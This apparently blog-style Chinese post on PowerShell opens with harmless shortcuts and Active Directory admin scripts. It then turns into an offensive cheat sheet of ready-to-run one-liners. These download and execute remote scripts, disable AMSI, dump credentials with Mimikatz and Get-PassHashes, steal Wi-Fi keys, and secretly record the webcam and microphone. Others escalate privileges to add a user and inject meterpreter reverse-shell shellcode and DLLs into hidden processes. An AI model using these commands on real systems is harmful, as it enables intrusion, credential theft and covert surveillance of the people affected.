powershell无所不能

0x01 初步认知

PowerShell是Windows的自动化平台和脚本语言,可让您简化系统管理。与其他基于文本的shell不同,他利用了Microsoft .NETFramework的强大功能,提供丰富的对象和大量内置函数来控制

PowerShell最初在2010年被提及为攻击平台,当它在Def Con 18中被提出作为概念证明。在PowerShell中纯粹编程的绑定和反向shell都在相同的上下文中被证明。

属性强化 +11

轻松访问网络连接
安装恶意的二进制文件到内存
直接访问Win32应用程序编程接口(API)
有着WMI类似的简单界面
强大的脚本环境
动态链接库直接调用
轻松访问加密库,例如IPSec,散列算法
挂钩托管代码的能力
组件对象模型COM的绑定

还有如Nishang,PowerSploit和PowerShell Empire平台等众多攻击工具,提供基于密码通信的后开发代理。这些工具可用于侦察,持续和横向攻击等技术。当然,在现在windows默认都安装的情况下,直接可以通过编程,提供定制的工具和技术,以保持隐身,并且不被普通的安全控制和防护软件所侦测

Powershell 快捷键

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
ALT+F7      清除命令的历史记录
PgUp PgDn   显示当前会话的第一个命令和最后一个命令
Enter       执行当前命令
End         将光标移至当前命令的末尾
Del         从右开始删除输入的命令字符
Esc         清空当前命令行
F2          自动补充历史命令至指定字符
            (例如历史记录中存在Get-Process,按F2,提示"Enter char to copy up to",键入‘s’,自动补齐命令:Get-Proce)
F4          删除命令行至光标右边指定字符处
F7          对话框显示命令行历史记录
F8          检索包含指定字符的命令行历史记录
F9          根据命令行的历史记录编号选择命令,历史记录编号可以通过F7查看
左/右方向键   左右移动光标
上/下方向键   切换命令行的历史记录
Home        光标移至命令行最左端
Backspace   从右删除命令行字符
Ctrl+C      取消正在执行的命令
Ctrl+左/右方向键 在单词之间移动光标
Ctrl+Home   删除光标最左端的所有字符
Tab         自动补齐命令或者文件名

给AD添加自定义属性

如果你需要给AD对象添加自定义的属性,你可以使用一个哈希表设定属性的名字和值,这时候就可以使用微软RSAT工具包中的Set-ADUser命令来添加它。-add是给属性添加一个新的属性,-Remove是删除一个已存在属性值, –Replace则可以替换一个属性的值。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#requires -Version 1 -Modules ActiveDirectory
# create an empty hash table
$custom = @{}

# add the attribute names and values
$custom.ExtensionAttribute3 = 12
$custom.ExtensionAttribute4 = 'Hello'

# assign the attributes to your current user object
$user = $env:USERNAME
Set-ADUser -Identity $user -Add $custom

克隆AD权限

当你要创建一个委托对象(如管管理成员或组织单元),你实际上是在调整它的安全属性。
安全属性可能非常复杂,但克隆一个则非常简单,所以你可以选择克隆一个AD对象的安全权限。
下面教各位如何将一个OU对象的安全描述克隆给另外一个,开始前你需要添加AD模块:

1
2
3
4
5
6
7
8
#requires -Version 2 -Modules ActiveDirectory
Import-Module -Name ActiveDirectory

# read AD security from NewOU1
$sd = Get-Acl -Path 'AD:\OU=NewOU1,DC=powershell,DC=local'

# assign security to NewOU2
Set-Acl -Path 'AD:\OU=NewOU2,DC=powershell,DC=local' -AclObject $sd

获取域下面的操作系统列表

脚本会从AD中获取所有的机器账户,并通过操作系统名称对它们进行分组,然后生成一个列表。请最好使用分页,如果你的组织规模比较大,检索所有的机器可能会很耗时。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#<span class="tc-dropcap">r</span>equires -Version 1 -Modules ActiveDirectory

$max = 100

$os = Get-ADComputer -Filter * -Properties OperatingSystem -ResultPageSize $max |
Group-Object -Property OperatingSystem -NoElement |
Select-object -ExpandProperty Name |
ForEach-Object { '"{0}"' -f $_ }

$list = $os -join ','
$list
# 将列表复制到剪切板
$list | clip

Powershell被禁用

默认情况下的Server OS 对应的 Powershell的版本:
Windows 2008 R2 - Version 2
Windows 2012 - Version 3
Windows 2012 R2 - Version 4
Windows 2016 - Version 5

1
set-executionpolicy remotesigned    #需要在管理员的状态下执行

.Net执行
p0wnedShell

1
2
3
cd \Windows\Microsoft.NET\Framework64\v4.0.30319

csc.exe /unsafe /reference:"C:\p0wnedShell\System.Management.Automation.dll" /reference:System.IO.Compression.dll /win32icon:C:\p0wnedShell\p0wnedShell.ico /out:C:\p0wnedShell\p0wnedShellx64.exe /platform:x64 "C:\p0wnedShell\*.cs"

PowerOPS

1
2
C:\> cd \Windows\Microsoft.NET\Framework\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\> InstallUtil.exe /logfile= /LogToConsole=false /U C:\path\to\PowerOPS.exe

powershell能做什么?

Command

1
    powershell -nop -exec bypass -c IEX (   New-Objectet.WebClient).DownloadString('http://ip:port/')
1
2
    Get-Content payload.ps1 | iex
    cmd.exe /K < payload.bat

link

1
    powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA==

获取无线密码

1
    powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Get-WLAN-Keys.ps1');Get-Wlan-Keys "

提权加账号

1
    powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user evi1cg test123 /add'"

下载执行

1
    powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://b.hiphotos.baidu.com/image/pic/item/d009b3de9c82d15825ffd75c840a19d8bd3e42da.jpg','C:\\Users\Public\\test.jpg') & start C:\\Users\\Public\\test.jpg

摄像头录像

1
    powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/xorrior/RandomPS-Scripts/master/MiniEye.ps1'); Capture-MiniEye -RecordTime 2 -Path $env:temp\hack.avi"

录音

1
    powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Exfiltration/Get-MicrophoneAudio.ps1');Get-MicrophoneAudio -Path $env:TEMP\secret.wav -Length 10 -Alias 'SECRET'"

use

1
    powershell.exe -ExecutionPolicy Bypass -noprofile [Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiInitFailed'',''NonPublic,Static'').SetValue($null,$true);iex(New-Object Net.WebClient).DownloadString(''http://192.168.230.1/msfpayload.ps1'')

下载

1
2
    $p = New-Object System.Net.WebClient
    $p.DownloadFile("http://domain/file","C:%homepath%file")

Mimikatz

1
    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
1
    Invoke-PsUACme -Payload "powershell -noexit IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"

Gethash

在线导hash

1
    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

在线导明文

1
    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

进程注入

1
2
3
4
5
6
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
Get-Process                     查看当前进程记住你刚刚创建的隐藏进程ID
Invoke-Shellcode -ProcessID 2384 -Shellcode ($buf)  Invoke-Shellcode脚本注入

Powersploit
    Invoke-Shellcode -ProcessID 2384 -Payload windows/meterpreter/reverse_https -Lhost 192.168.100.129 -Lport 4444

DLL注入

Invoke-DLLInjection 是DLL注入脚本
首先下载安装DLL注入脚本到目标机器

1
IEX (New-Object Net.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Invoke-DllInjection.ps1")

在MSF生成DLL脚本,下载DLL使用Invoke-DLLInjection脚本实现DLL注入

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f dll -o /var/www/html/msf.dll

开启一个隐藏进程来进行DLL注入

1
2
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
Invoke-DllInjection -ProcessID 4080 -Dll .\msf.dll

高级组合技打造“完美” 捆绑后门

0x02 将PowerShell脚本快速转换为bat文件

1
2
3
4
5
6
7
8
* 下载链接:https://github.com/artkond/bat-armor
* CodeExecution 在目标主机执行代码
* ScriptModification 在目标主机上创建或修改脚本
* Persistence 后门脚本(持久性控制)
* AntivirusBypass 发现杀软查杀特征
* Exfiltration 目标主机上的信息搜集工具
* Mayhem 蓝屏等破坏性脚本
* Recon 以目标主机为跳板进行内网信息侦查

https://3gstudent.github.io/3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence/
https://rastamouse.me/2017/06/psexec-much/
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
https://github.com/samratashok/nishang
http://bobao.360.cn/learning/detail/3200.html
http://wooyun.jozxing.cc/static/drops/papers-16818.html
http://www.labofapenetrationtester.com/